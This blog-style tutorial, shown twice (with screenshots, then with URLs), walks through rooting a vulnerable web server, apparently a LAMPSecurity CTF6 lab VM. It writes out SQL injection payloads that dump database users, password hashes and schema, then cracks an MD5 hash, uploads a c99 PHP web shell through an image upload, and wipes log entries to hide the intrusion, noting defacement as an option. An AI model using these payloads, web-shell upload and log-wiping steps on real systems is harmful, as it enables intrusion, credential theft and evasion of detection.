Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vGFeh7POnkE0AwU7VpwGhJhfK5WVAMFIJ-uuhCu9uAcf38Morwn7qcdpqSo02bf70N_4UyOPpMPV6XUaRjRl4De4E98H5_8WerIPX2ZNTDtxuo4FlK2MZgbM8Z8kfBNVR-f-KCxtKuYdzf967eRVcAhz3t1xjlme5E8AKnEuyo9Y_S=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vuUncIykOiN-pGofpumhksWpspvKq84nLV5YkU4AGnOHaKl1zmOQni9pUlVZIEK4k8An-p3EqU_C7h2dsejn6PFg36VAA-j2FtU101W6npjj7hYxn08cXwM8b9ewewcXgU1WcAaYZ7vkm37YmJWTZqMxExMR9GfZqyCqG21_vPTToAPw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYW1RoZf5LiypbN_yPEy3qGygZzFl7mxNPcEpKR3ILc3b6h-VKdJ8hvlL4XtXbiqdKSIKOzEw9e2sz7MRi9VDOxuc74jod4y-xq0yl7b4ScWLhjsyrUE10FmW9xDE1m3vxyuNZY1SSzx-HJy7BDE31puN6J8T178NUEinT3LA6I5Ah6Q=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v1o-O32WMiKhlxH2cRbYI295sVNu2vmF3S-jiaLzqmClmQAi_cxCTm8_eKROSaeI5MX8nFZXShkgOA7SQJ0CegfkHFH1E2E61KDFOLQQgDcE896jgpEEzjCXXevpl9jXY6ywB-jlOLZzg3dDJUMvSE4B5fQ-qfvXEMwYRpHXLojCkKNg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_spwQAlcwXBe6hkMB1yBrfEt0WVirdPJC1t8cLnH60rKvTi777pf1LR5s3HCL267CcbnwMJLkQVIP_8_Saek9eZd6grhrj7fvmjCflilyBh3vES2u34DC8DVZCsyFzoS0tFllgaaAqcQheluUxscOxNkxTrIGZLn8J2x8ntvfFQO3ffBg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saFYBF04cHLgiJZ4omCeJNICF3v3OH0K9aRwExBFg8Ql9IREKRYC5zwX0q4oZU-CiYcs4klCLZG-oqFI_Vxk774uyuRdRtgTDXUVhfkHfI0JUYHNGlhW4fpRNTZLBcT9agEmYivVUAnCOynOw5P4SmqjyBL4wYWjqBYmyayKC6f9-7=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t3fcietcLKpgL8gAOV8vystoqdOoKyxp0qRQ5K8u8IynKWU2lLTvo0NHOrOWBK2QBA1mEeffVAzGE4iF31hz-pUSGTyth-Wuy32ssSCepMKEjWWV5zy7noYXaOaiU8Op2VPEtVKT8vFOrZYNB1AtCA0x6AeWtUN-WC3sMU5ARklU2Wuio=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sS0Y4wFcBwf0wQJCNq8WBdYnvJm4VeMXRlnoBBL4u9u3kwx5xDTm2XNHuEZYkhDbTUoDrRrAzpPqMgTR8W4ygBny7Jq50rXBXB09vmTctPWlKoz-KFiP7LJmgKsjDxMHKooZVbEIaHqzN6Nuxkld4gZ78L9fD233BvXcycKE_RMCARaP8=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u93zY61UaFdAQmX1IfG73NFznJg0ybETb5enK8-KSGXZeQ0b6JvMu0zJr0zyMYFVDotXGlP2AM-a8xU_fnth7UDZbToBcXWVqPRaQ0GL_zeuyfAX4xJ3uMW0m0LAfni0nQe1452BHz1aNDpSQS1ejHMr32RFJj5JzR9_q5kuzyZiFq3fA=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t0yCwzVicikjbtX_7P-_t-Gy7Mxi_0JQX2TeO6GG_xJs5JtsT4SrGyEnxX61d2UAZgFURLqr3AgxjjGifYF0rkSa_RN3LZQ1l4yf4rzuGCbx_b8GCvMAnQwFLGN3ltfd0YUcfQX4Ys9TxBzngJtnub15vwsFfbDeoQ87KcPF6ffz_PP2U=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sclNdL0-U7Tntd5N73CYRw3I8JIts-1uNr9l63huI7dlBzLc4U_vN_1V8rnnlr5drn3zg9aPj49lWzfNNG1H7fVumgtPmaAaGLj3mdL55OULOHhtMPObOnhcexkIOSsUYU2TNv2Ztgnb5m9BHzUo5f3l9kcSY5t0Erq7r52BsvUqQv-g=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAv81x9Ltob-SGNsS_r-2dLsRR1-eG0pioh7dsd60IJGOSdf_PJvJnOz654y37zs0rDUarbOepERjsMM-lslGOMtfVve4zjOK76I2ozkKhMA1uhJ2JKzkPu4g1arE5Z2CYsJrtuoJI_w51HiiU_JfkDlLTLUzeXpxhFM3TseT4lSxkrE4=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9NrZQXr89sFwNykAklPOvqmMpLgtjs3OuESElP8pmF8VNqYWWFy-BhQT-8IQKXaDgU95ctl2GBG8Co8ljT-zrx973ceFQtWJx21gg-0FGafuRTjs0MPSRdARSGDNCaRPKZiTsktRjdRjo_s2TiPUHizCgRlHeZQfgJ_5y0UpwKtLkrh0=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_slj9M_3LI59LSmvaklWjkNnCFKeq4RpnuIPyBTcmEHQBgrQlywzMgO3t7pgysLa6zk8Wu1MQaacnVHbmj6gQv-tvNH7qKGGbRxfokJAC6Sn44EMEV7ZReU46rb8Ri14scJbVj_DfGWOnGBdY5mD5eghRb9B3QuEFbwkrpR56X5y0klQA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_si8S2uSWl02YZHVbzl6NtXvib3ccRnwLPi6dCXwmB7kU05xWF1VlrklKjmIXtUJPsCv46lRVjEPdclzhN_KT_1FAbtb1O2e3_WNMGzvQE5NevKWTWMcvd0FftSfWvBowl6wuCLTc09-kQlxH1DqkMo2_6afxZ09dP3rko8RFHsTey9Hw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sJFpYvkXbI0_ZGr7Do-ufTZdzWr2u5qEh9PL436uasTHvtSdeS9QvveK83TJOx98emHgp5znW-GJgEvx9tkZHHEExNEMmKTEm0RY-kj6eC4TiNvwuKb9_Bgc8QP66wnkvBUXlepjZsW9BJz6eiT7gZTSyfoBFMDZ4ML7yA5XA1jFdWsBM=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGGU1wXp1ZJwurM0NRCs7C-sazWZeckLMVSYpwfxnyiLcFhQ2-xILcsdFRlnXKt0Dzo_-4KJnBgdWnlreZxusxIaixl57imqJj89YcwVjouECLyttgGzph3SU6f_ixm59xZAR7-3BsdkfP8vRXWJsM2cyQRSaD_i3qPCLiU02Xy3p74pQ=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v_BcKmrnJOZ7HpiPHkRjYDgPmBYGDPJZ4xhTZYgg-7sy53iQ-nXqa3_Iqt7kysIHHkF_uJbLHvZ839mLOVOtAWVbYvsgOLIQSygDl9Ie-BeQqntk8uCMNTWcDI2kaj_2AcrTTTn05Pcn6VrRsYJ5yxPr4Bkm9jmmPx2OE_tqVsR7VdOwA=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v1NpDGr5VCQ-CpjXyxUbXSGsefZ1KRzCdeXdTKgVXo1nin-jQoXaBYyOcYdvVLdjAiCnvbIYfnFhe7oinzDORwY9PGJ9-RnZMrWf3IpzDwf2ETA5UCKIcrIGXbrv--ZyYWA1YojO7PvZczuVS8wmkXHtT_uHtzqXN8Qn0MI0WxY-sL54s=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-sWWjBM0SFyEvYphtJmvhLVXeXT2-pyzlt3d9oDNG12oE2fuFBMZIEzMtxmBpyBog8P7tvkKsjp97BFj4jkXDi6UfsEXpPQkiBfz9uVsi_hx7CEqnJB8nU5c2gj6NEurt91DF5DMBWe3T5W1WIJ-vYIYu8zqaYHnl9-VAX2q-py2-KSY=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMflReyCT8elxqPVwycF7aPnzps6TLBuRsFKm4yLUz6i2KiQpaO7LqUh-B6xX4qpgJKvftNIZKIU17kQLW-gzBRzTBPQ2b3HrscXecZLRrgIgPdhnSBcin3crXOg7wI2OKqyJHki1tlrSkL4-RmjQ6eUZhp58Pu88R2uHf4wqhEqxPeRI=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_szH-57lLLQ9RCmuuM3_Yhm0F5FpG6ucxDJRFosEEUOwcdKrRqglCEWlsGaVULAVd08O-VinxXdXkk8N3cGNNKxMhfIcaYVTP-alYF5_LYeTMgSpDUlDvHVaifyt2vBiq0rbJEBonEiHlVx298JTgbDw_ohqUoOHk12KStKBWhBkVrfMzs=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFwbSGRoHCUqjjoIuYjPpbXjovRolt0vutzmLg6KWuLGG9FJ4-CWVy9A5SX4GZGKJtbJe5VerG8VInvRTvcXttpdOgQQHUaopQTM32yjc3GGGCV7DDK-fkTq3zS4FJNhPOV9mRcagc3_AwcAxhDW5kOAJs-5BruCp1sARnb-BCZP8jPTM=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tpvftbURwVFxM5_HRU_xLkwvA0vicIaTFqyd0i-F6PjwP-a3jqNHl6KHaHLCBxXgwnFHa0W9dOaVw0Pm_u1FUt_s4lc71t6tChSBgXVguyVaXpcpNMlHLbZnQolicgmIKr-mth8NrAJE2iYt_H7uXKqYmIwApDqOpH4s6bxsOI2BbaOhA=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_twAu_yMPpy28n5FgSsLgSY9nbpmvqOIdu_EMBh1aCPuTkXnhwmsLXA37sqgzl9V-fsw7DKf7O-gRG8LVrhU-BA0xYctr0Yhu1HKVR7KXDKm4jqvjZB6jHIkOMk4IJKWMh9GSkGFpn8yA-MLeaoHxD8sUfFGc6iOBRYdsnntm50ZLs60Q=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sUigvhy-7gahR9QUJtJOIQJi0MQCyTTMN8BYCy7NITmFSqUnpYhjTX_H3ohU_C_O1icZmeAT-rkMlUwndjw7PqsYdfzvY-poRsSZyMQyUjUt55MvM2RmlosA7ZhqiBtvMOMlWKEErjlXLKPHLzJ1ykfkC1HsWzyc8I85WkLdv8AcXaMQ=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uspbkpwomUQVPONei1abOw1ZHOfxd8zuldkRML2RnxfkRJ-CqRbSj97PmBiGLrjoAm4mxG1TdgNrFLQENuWzbPdPbEC0KlpH1tHcTHWtOoIwoHrPhfJeLnlqZJaGOBWZk7WgUA4dJwEzpU_XOiZH55fo7JiK7honSQMmoBTUnt56ezETo=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s8G0dbWZhX4V8DNJHBoj1YnfHFg0mkoJui-Qc1w9OjDIiraomk9PdEgb5pvPsRvtcQPM8HBbL-V47QlMaasuJW0jJ-c_6xIb1DtxfKbilV7kGYlozHo3d79bB7op1ZI5ARqUPjtnx8UHS5PHcxF3Ef_ZapYOLqLWrSEC2u118ZqYM3HIM=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sACjKLYVrgx6ZdT9kMKPJs1x_lgWFVn2II-OdgIFje7nK38AjPhqir-CewZGjY4NVKbLhxFbswgehZ4IpqmvKTgel-AnLU5T5jiw4GpS0QX-8DMlUKEQjsIiI0Qv-wpKTrLMomqIsH2yj05rgjZXUEjt8VS_pLeF9r-daxbIdQqwp7Bg=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tFIyT4CDO4AptW8lc3Hf210EYY4yIjyXZGi46mOaUfhcc_GbB0r0y-u_O0juPogC2UhDGeIojBkgDOBCSC_ODtVOiywfZxPRbWEW_i2M2boTvVHDjSAnc6gQ4dcuFO-nOiGsqWjA9V2RFj6J_50iK_BDRHuDxeHfKQVqAZEHnhbyjARXs=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s3E96COY8AaFNV7jkvb3394ArbFCBlVLXU02tgXDeRspVN52fpi4gZ6WlZdM-CQz--wqvIOW_nc3OSgaObflS70z65dS647l4nZPxx0PYUCGb0JbUuNFnoZh31xt6sCY7fs7p9NTsV2hFaA26GMuA0LlODOH-7rBJMP-FD-XTJjuQH4Vw=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnwvf_pGC40IGxmc78-y0ZhT23u0GNR_BcFKy5imKkFEH_2-J6eTFyw87-Vw-zj5fppc78mVqMIMiFQ5UHSv1G6_HJmlSbATCJuV0gSLB1egZkBOA0LzP2wTacpm8IY2GysbIZHqo_TH1bb5k38WBP216MnX7GqWpUsXcAW1O3wLZobjE=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sdu89j36D6kVMMjviZhCipu7vqWjGeO03ccRAuqbyM3_J8Cj0y1o5QWlwsq3pGbB0gjd_-4lCuE_WybIayAGj8gz5_5SADFiNU2wCo04XUYWCNgSjZ67oghwEZ784o6Sh7mrYlj9hWdxluPXI4aZNH65_NCH3SmMODeH7GqlriH6s2x4E=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u9ePdBe8tIZjmQ1SsOh3dFO7esD-um1NiAdmCSq902YMStLM2PeKLyGAMezA4Gv0QtNT4wTBOocvpIFQSx8ArxzdbTJ9YKwJ9ronehwLh2j0GcMJ-SQqRVmjH-jwjXoav73PHxRtv1Xn-0_vUxWgQGf4tgeLmCaNfyPTa_ez9xyOPCKu0=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txtN4pbL0Uw_isjytGgWGF7DwjZCSX_bEmk4rnSX3oXLhEUmQb9Envd22b5NjRk00MYfRB5UzLqOzr8iU0YCw6aXnvkb0gwEZbzt_SzyTkg-H_N-IVskZWu7ekpEpvuha8HE4sckzgPVQexS3Blt8Geuibj-m0LXbmKL1UCHo_LMe0k-U=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlHcGvIfWl2Yz6IgVUWkTZb5hpXnz233cbQCM0AbnxVERrnPZN0P-EXZvhgqxMMfsglRc9pUEKUUtnCIVOX3Uafm3I8TqztdUinBdvtg3pvMVbb_EZxQM6lefZu0EmUbTeWk8fecJkJXH-K0ZljElBl8oXmjbdBE-e3UxhP-E8_jnDEy0=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBmpSbbg0t8zvwDNtuKrOwnapiB_MT64p_8a6wmwGp4RdGJ8mPBEs9NJHlvTGTC4D3iXcGO_iNgbApMlLPlTSyMtoBbqynpU4MTdSt2S0B67AmLSFRhP8LfXQGQGdikp5e4QnPnUATb8O4wutVw9I6j4FhkmXLPNNHW7IAtE96vJAaOg=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vB-j026G1Ay5vp9mBKThLcDakKCNs-5jJ5nXzt1nUdudBERD6OtuVD_6MMijUmvnCSEJrtnCeYKaInjXDiLwdczBwjjzQixfke10_ppizbXd1pcWU0_Pw9OKxdIJE7HOolqSSjpWafkzJ1nBB6-LBfltrDGYd0-LFoqbOCxKc3w9YNaX0=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKwIxdyFK_oFReNWJSEbLyWElUcZkhEgQ7kZi7QbjySk38mjcKTc3nefQG59zIN6_sBHwz4IzeahjGOCSWf1kmv2-nnQyv7N4HoItdAegznISM0X5kBi1Ems1guhWRvOKwpBpHnkpXh105WJuOWk9epLaFRHeEKAdavukCRqUHcYB1mQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIXDVSQC2A5MA-Y3aHH6Z6N9RfGsWaABLSaFqK06LIFql6wUAtRwbYDwyO1gknh8TQDs3XgobRd9x7UpoaOermSkM7Brk3xvbq--9xwSSnSOoVSB75BKmOkgnlBUDYwdlzTWVrP-5ZFZnugPfgtC4_SM49YhbPtsq4Ew1I6lrdqVmUBnQ=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vEoCrN8UJb8uuAFEm_iKk4CjqN9I3l1sfVysjQilU4hh_6uSOHuq6pvW42AeBKLzp8oZNL5FZ4-E0tFiX1zU1-fFP4TErMsFDDswaRq8f7C58V2iK1qjHJoMcyQjcBZhH1mawvDXoWZhht230La0qGI1Ce_qXjeXxnmnBgfEDe_3OoaTc=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vCKpmXl0AL47hkS5rVbdL9huexh0DM6Q9ucUxITzazRxXiY4qUTL5WNYSF4To-EJItXY8n7moO6pEzr07BOmkcvzS0PC0_AqBtJN4dkMj2i4ml4m8nZR4dwEaGIwd9oi0-hpZwat6GpKxlLhW7vdz0Yi4c2gRBn-qRHM87nwt4tGlBSpI=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKr2iDa5QlE-6IOBRqqDJVXazG445hq7SLZCIIDrftFwkn28fChDSLseOPbaxfy_Q5tev5GoJPDwGloLogKJ4m2tvNkKQoT5W2RyyWaxdn0nFxjWg7i4vD0g2oA3Sxk3FSUuOb0O7AuYLXsocuMAPXhswVtynjBv71weXutKfVxGrcFvg=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQh4s4O_hda-iF9cIAkoFPInIPRNgbnEgsLQNpAZHjTIJvoB_fhWNyJE_RJUEfLccIiItnZ828k1YHv2JMIlAbzRS_XDC0JQ2ytQQcYc6XG37ocqDe7nIRg9kulQJcxhmrKfS1I7nACRDjrwJF3yiUEHCbZGkdnK_wKVg0n1ciKp1apA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUX6XoWnUDXEPoK4udWRzlslKJ42nVGbzQikznTlvWXswgBvlAGHVmKDVZcrLtHMvSQCZFYqEOtZteamcorOskueqfKynGngp9Ab8sEKL5s-rMMtdIdKUi9qxdxZaQUIY5NKJB20F6qPpGMoj2Wg42I38RzidArSdjXYKzGSJN-GAE9rc=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete